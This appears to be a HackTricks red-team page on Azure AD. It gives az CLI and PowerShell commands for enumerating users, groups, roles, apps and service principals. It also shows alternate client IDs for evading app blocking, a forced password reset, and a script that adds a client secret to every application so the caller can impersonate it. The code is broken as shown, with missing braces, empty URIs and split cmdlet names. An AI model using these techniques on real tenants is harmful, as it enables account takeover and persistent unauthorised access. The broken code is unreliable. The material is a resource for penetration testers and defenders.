Az - AzureAD (AAD)

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks:

Basic Information

Azure Active Directory (Azure AD) serves as Microsoft's cloud-based service for identity and access management. It is instrumental in enabling employees to sign in and gain access to resources, both within and beyond the organization, encompassing Microsoft 365, the Azure portal, and a multitude of other SaaS applications. The design of Azure AD focuses on delivering essential identity services, prominently including authentication, authorization, and user management.

Key features of Azure AD involve multi-factor authentication and conditional access, alongside seamless integration with other Microsoft security services. These features significantly elevate the security of user identities and empower organizations to effectively implement and enforce their access policies. As a fundamental component of Microsoft's cloud services ecosystem, Azure AD is pivotal for the cloud-based management of user identities.



For this enumeration you can use the az cli tool, the PowerShell module AzureAD (or AzureAD Preview) and the Az PowerShell module.

In linux you will need to install PowerShell Core:

sudo apt-get update
sudo apt-get install -y wget apt-transport-https software-properties-common

# Ubuntu 20.04
wget -q

# Update repos
sudo apt-get update
sudo add-apt-repository universe

# Install & start powershell
sudo apt-get install -y powershell

# Az cli
curl -sL | sudo bash

Modules differences

  • AzureAD is a PowerShell module from Microsoft for managing Azure AD. It doesnt' show all the properties of Azure AD objects and cannot be used to access Azure resources info.

  • Az PowerShell is a module for managing Azure resources from the PowerShell command line.


az login #This will open the browser
az login -u <username> -p <password> #Specify user and password
az login --identity #Use the current machine managed identity (metadata)
az login --identity -u /subscriptions/<subscriptionId>/resourcegroups/myRG/providers/Microsoft.ManagedIdentity/userAssignedIdentities/myID #Login with user managed identity
# Login as service principal
az login --service-principal -u http://azure-cli-2016-08-05-14-31-15 -p VerySecret --tenant #With password
az login --service-principal -u http://azure-cli-2016-08-05-14-31-15 -p ~/mycertfile.pem --tenant #With cert

# Request access token (ARM)
az account get-access-token
# Request access token for different resource. Supported tokens: aad-graph, arm, batch, data-lake, media, ms-graph, oss-rdbms
az account get-access-token --resource-type aad-graph

# If you want to configure some defaults
az configure

# Get user logged-in already
az ad signed-in-user show

# Help
az find "vm" # Find vm commands
az vm -h # Get subdomains
az ad user list --query-examples # Get examples

When you login via CLI into Azure with any progam, you are using an Azure Application from a tenant that belongs to Microsoft. These Applications, like the ones you can create in your account, have a client id. You won't be able to see all of them in the allowed applications lists you can see in the console, but they are allower by default.

For example a powershell script that authenticates use an app with client id 1950a258-227b-4e31-a9cf-717495945fc2. Even if the app doesn't appear in the console, a sysadmin could block that application so users cannot access using tools that connects via that App.

However, there are other client-ids of applications that will allow you to connect to Azure:

# The important part is the ClientId, which identifies the application to login inside Azure

$token = Invoke-Authorize -Credential $credential `
                         -ClientId '1dfb5f98-f363-4b0f-b63a-8d20ada1e62d' `
                         -Scope 'Files.Read.All openid profile Sites.Read.All User.Read email' `
                         -Redirect_Uri "" `
                         -Verbose -Debug `
                         -InformationAction Continue

$token = Invoke-Authorize -Credential $credential `
                         -ClientId '65611c08-af8c-46fc-ad20-1888eb1b70d9' `
                         -Scope 'openid profile Sites.Read.All User.Read email' `
                         -Redirect_Uri "chrome-extension://imjekgehfljppdblckcmjggcoboemlah" `
                         -Verbose -Debug `
                         -InformationAction Continue

$token = Invoke-Authorize -Credential $credential `
                         -ClientId 'd3ce4cf8-6810-442d-b42e-375e14710095' `
                         -Scope 'openid' `
                         -Redirect_Uri "" `
                         -Verbose -Debug `
                         -InformationAction Continue


# Enumerate users
az ad user list --output table
az ad user list --query "[].userPrincipalName"
# Get info of 1 user
az ad user show --id ""
# Search "admin" users
az ad user list --query "[].displayName" | findstr /i "admin"
az ad user list --query "[?contains(displayName,'admin')].displayName"
# Search attributes containing the word "password"
az ad user list | findstr /i "password" | findstr /v "null,"
# All users from AzureAD
az ad user list --query "[].{osi:onPremisesSecurityIdentifier,upn:userPrincipalName}[?osi==null]"
az ad user list --query "[?onPremisesSecurityIdentifier==null].displayName"
# All users synced from on-prem
az ad user list --query "[].{osi:onPremisesSecurityIdentifier,upn:userPrincipalName}[?osi!=null]"
az ad user list --query "[?onPremisesSecurityIdentifier!=null].displayName"
# Get groups where the user is a member
az ad user get-member-groups --id <email>
# Get roles assigned to the user
az role assignment list --include-groups --include-classic-administrators true --assignee <email>

Change User Password

$password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText –Force

(Get-AzureADUser -All $true | ?{$_.UserPrincipalName -eq ""}).ObjectId | Set- AzureADUserPassword -Password $password –Verbose

MFA & Conditional Access Policies

It's highly recommended to add MFA to every user, however, some companies won't set it or might set it with a Conditional Access: The user will be required MFA if it logs in from an specific location, browser or some condition. These policies, if not configured correctly might be prone to bypasses. Check:

pageAz - Conditional Access Policies / MFA Bypass


# Enumerate groups
az ad group list
az ad group list --query "[].[displayName]" -o table
# Get info of 1 group
az ad group show --group <group>
# Get "admin" groups
az ad group list --query "[].displayName" | findstr /i "admin"
az ad group list --query "[?contains(displayName,'admin')].displayName"
# All groups from AzureAD
az ad group list --query "[].{osi:onPremisesSecurityIdentifier,displayName:displayName,description:description}[?osi==null]"
az ad group list --query "[?onPremisesSecurityIdentifier==null].displayName"
# All groups synced from on-prem
az ad group list --query "[].{osi:onPremisesSecurityIdentifier,displayName:displayName,description:description}[?osi!=null]"
az ad group list --query "[?onPremisesSecurityIdentifier!=null].displayName"
# Get members of group
az ad group member list --group <group> --query "[].userPrincipalName" -o table
# Check if member of group
az ad group member check --group "VM Admins" --member-id <id>
# Get which groups a group is member of
az ad group get-member-groups -g "VM Admins"
# Get Apps where a group has a role (role not shown)
Get-AzureADGroup -ObjectId <id> | Get-AzureADGroupAppRoleAssignment | fl *

Add user to group

Owners of the group can add new users to the group

Add-AzureADGroupMember -ObjectId <group_id> -RefObjectId <user_id> -Verbose

Groups can be dynamic, which basically means that if a user fulfil certain conditions it will be added to a group. Of course, if the conditions are based in attributes a user can control, he could abuse this feature to get inside other groups. Check how to abuse dynamic groups in the following page:

pageAz - Dynamic Groups Privesc

Service Principals / Enterprise Applications

Note that Service Principal in PowerShell terminology is called Enterprise Applications in the Azure portal (web).

# Get Service Principals
az ad sp list --all
az ad sp list --all --query "[].[displayName]" -o table
# Get details of one SP
az ad sp show --id 00000000-0000-0000-0000-000000000000
# Search SP by string
az ad sp list --all --query "[?contains(displayName,'app')].displayName"
# Get owner of service principal
az ad sp owner list --id <id> --query "[].[displayName]" -o table
# Get service principals owned by the current user
az ad sp list --show-mine
# List apps that have password credentials
az ad sp list --all --query "[?passwordCredentials != null].displayName"
# List apps that have key credentials (use of certificate authentication)
az ad sp list -all --query "[?keyCredentials != null].displayName"

The Owner of a Service Principal can change its password.

List and try to add a client secret on each Enterprise App
# Just call Add-AzADAppSecret
Function Add-AzADAppSecret
        Add client secret to the applications.

    .PARAMETER GraphToken
        Pass the Graph API Token 

        PS C:\> Add-AzADAppSecret -GraphToken 'eyJ0eX..'


    $GraphToken = $null

    $AppList = $null
    $AppPassword = $null

    # List All the Applications

    $Params = @{
     "URI"     = ""
     "Method"  = "GET"
     "Headers" = @{
     "Content-Type"  = "application/json"
     "Authorization" = "Bearer $GraphToken"

        $AppList = Invoke-RestMethod @Params -UseBasicParsing

    # Add Password in the Application

    if($AppList -ne $null)
        [System.Collections.ArrayList]$Details = @()

        foreach($App in $AppList.value)
            $ID = $App.ID
            $psobj = New-Object PSObject

            $Params = @{
             "URI"     = "$ID/addPassword"
             "Method"  = "POST"
             "Headers" = @{
             "Content-Type"  = "application/json"
             "Authorization" = "Bearer $GraphToken"

            $Body = @{
              "passwordCredential"= @{
                "displayName" = "Password"
                $AppPassword = Invoke-RestMethod @Params -UseBasicParsing -Body ($Body | ConvertTo-Json)
                Add-Member -InputObject $psobj -NotePropertyName "Object ID" -NotePropertyValue $ID
                Add-Member -InputObject $psobj -NotePropertyName "App ID" -NotePropertyValue $App.appId
                Add-Member -InputObject $psobj -NotePropertyName "App Name" -NotePropertyValue $App.displayName
                Add-Member -InputObject $psobj -NotePropertyName "Key ID" -NotePropertyValue $AppPassword.keyId
                Add-Member -InputObject $psobj -NotePropertyName "Secret" -NotePropertyValue $AppPassword.secretText
                $Details.Add($psobj) | Out-Null
                Write-Output "Failed to add new client secret to '$($App.displayName)' Application." 
        if($Details -ne $null)
            Write-Output ""
            Write-Output "Client secret added to : " 
            Write-Output $Details | fl *
       Write-Output "Failed to Enumerate the Applications."


# Get roles
az role definition list
# Get assigned roles
az role assignment list --all --query "[].roleDefinitionName"
az role assignment list --all | jq '.[] | .roleDefinitionName,.scope'
# Get info of 1 role
az role definition list --name "AzureML Registry User"
# Get only custom roles
az role definition list --custom-role-only
# Get only roles assigned to the resource group indicated
az role definition list --resource-group <resource_group>
# Get only roles assigned to the indicated scope
az role definition list --scope <scope>
# Get all the principals a role is assigned to
az role assignment list --all --query "[].{principalName:principalName,principalType:principalType,resourceGroup:resourceGroup,roleDefinitionName:roleDefinitionName}[?roleDefinitionName=='<ROLE_NAME>']"


# If you know how to do this send a PR!

If a device (VM) is AzureAD joined, users from AzureAD are going to be able to login. Moreover, if the logged user is Owner of the device, he is going to be local admin.


Apps are App Registrations in the portal (not Enterprise Applications). But each App Registration will create an Enterprise Application (Service Principal) with the same name. Moreover, if the App is a multi-tenant App, another Enterprise App (Service Principal) will be created in that tenant with the same name.

When an App is generated 2 types of permissions are given:

  • Permissions given to the Service Principal

  • Permissions the app can have and use on behalf of the user.

# List Apps
az ad app list
az ad app list --query "[].[displayName]" -o table
# Get info of 1 App
az ad app show --id 00000000-0000-0000-0000-000000000000
# Search App by string
az ad app list --query "[?contains(displayName,'app')].displayName"
# Get the owner of an application
az ad app owner list --id <id> --query "[].[displayName]" -o table
# List all the apps with an application password
az ad app list --query "[?passwordCredentials != null].displayName"
# List apps that have key credentials (use of certificate authentication)
az ad app list --query "[?keyCredentials != null].displayName"

An app with the permission AppRoleAssignment.ReadWrite can escalate to Global Admin by grating itself the role. For more information check this.

A secret string that the application uses to prove its identity when requesting a token is the application password. So, if find this password you can access as the service principal inside the tenant. Note that this password is only visible when generated (you could change it but you cannot get it again). The owner of the application can add a password to it (so he can impersonate it). Logins as these service principals are not marked as risky and they won't have MFA.

Difference Applications & (Enterprise Applications or Service Principals)

Difference between an application and a Service Principal in Azure:

  • Application/App Registrations: Are applications that exist in your Azure AD

    • (Get-AzureADApplication -filter "DisplayName eq 'testapp'")

  • Service Principal/Enterprise Applications: Security objects in your Azure AD that can have privileges in the Azure Directory and are linked to either your application or a third party application

    • Get-AzureADServicePrincipal -filter "DisplayName eq 'testapp'")

    • An admin might need to approve the given permissions if they are very sensitive.

An application can be ruining a Third party tenant and once you start using it and give it access an Enterprise Application/Service Principal is created in your tenant to give it access to the info it needs:

Administrative Units

It's used for better management of users.

Administrative units restrict permissions in a role to any portion of your organization that you define. You could, for example, use administrative units to delegate the Helpdesk Administrator role to regional support specialists, so they can manage users only in the region that they support.

Therefore, you can assign roles to the administrator unit and members of it will have this roles.

Azure AD Identity Protection (AIP)

Azure AD Identity Protection (AIP) is a security service that uses automated detection and remediation to help protect user identities in Azure Active Directory from being compromised. AIP continuously monitors and assesses the risk of user sign-ins and identity configurations, automatically applying appropriate security measures, such as requiring multi-factor authentication or blocking potentially dangerous activities. This helps organizations prevent identity-based security breaches.


  1. Azure AD Identity Protection monitors user activities and collects data on user sign-ins, authentication events, and other relevant activities.

  2. The service uses machine learning algorithms to analyze this data and detect potential security threats.

  3. Azure AD Identity Protection assigns a level of risk to the threat (e.g. sign-in) and generate an alert if needed to perform some automatic action.

Azure AD Password Protection (APP)

Azure AD Password Protection (APP) is a security feature that helps prevent weak passwords in Azure Active Directory by enforcing strong password policies. APP blocks commonly used weak passwords and their variants, reducing the risk of password-related breaches. It can be applied both at the cloud level and on-premises Active Directory, enhancing overall password security across the organization.


Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks:

Last updated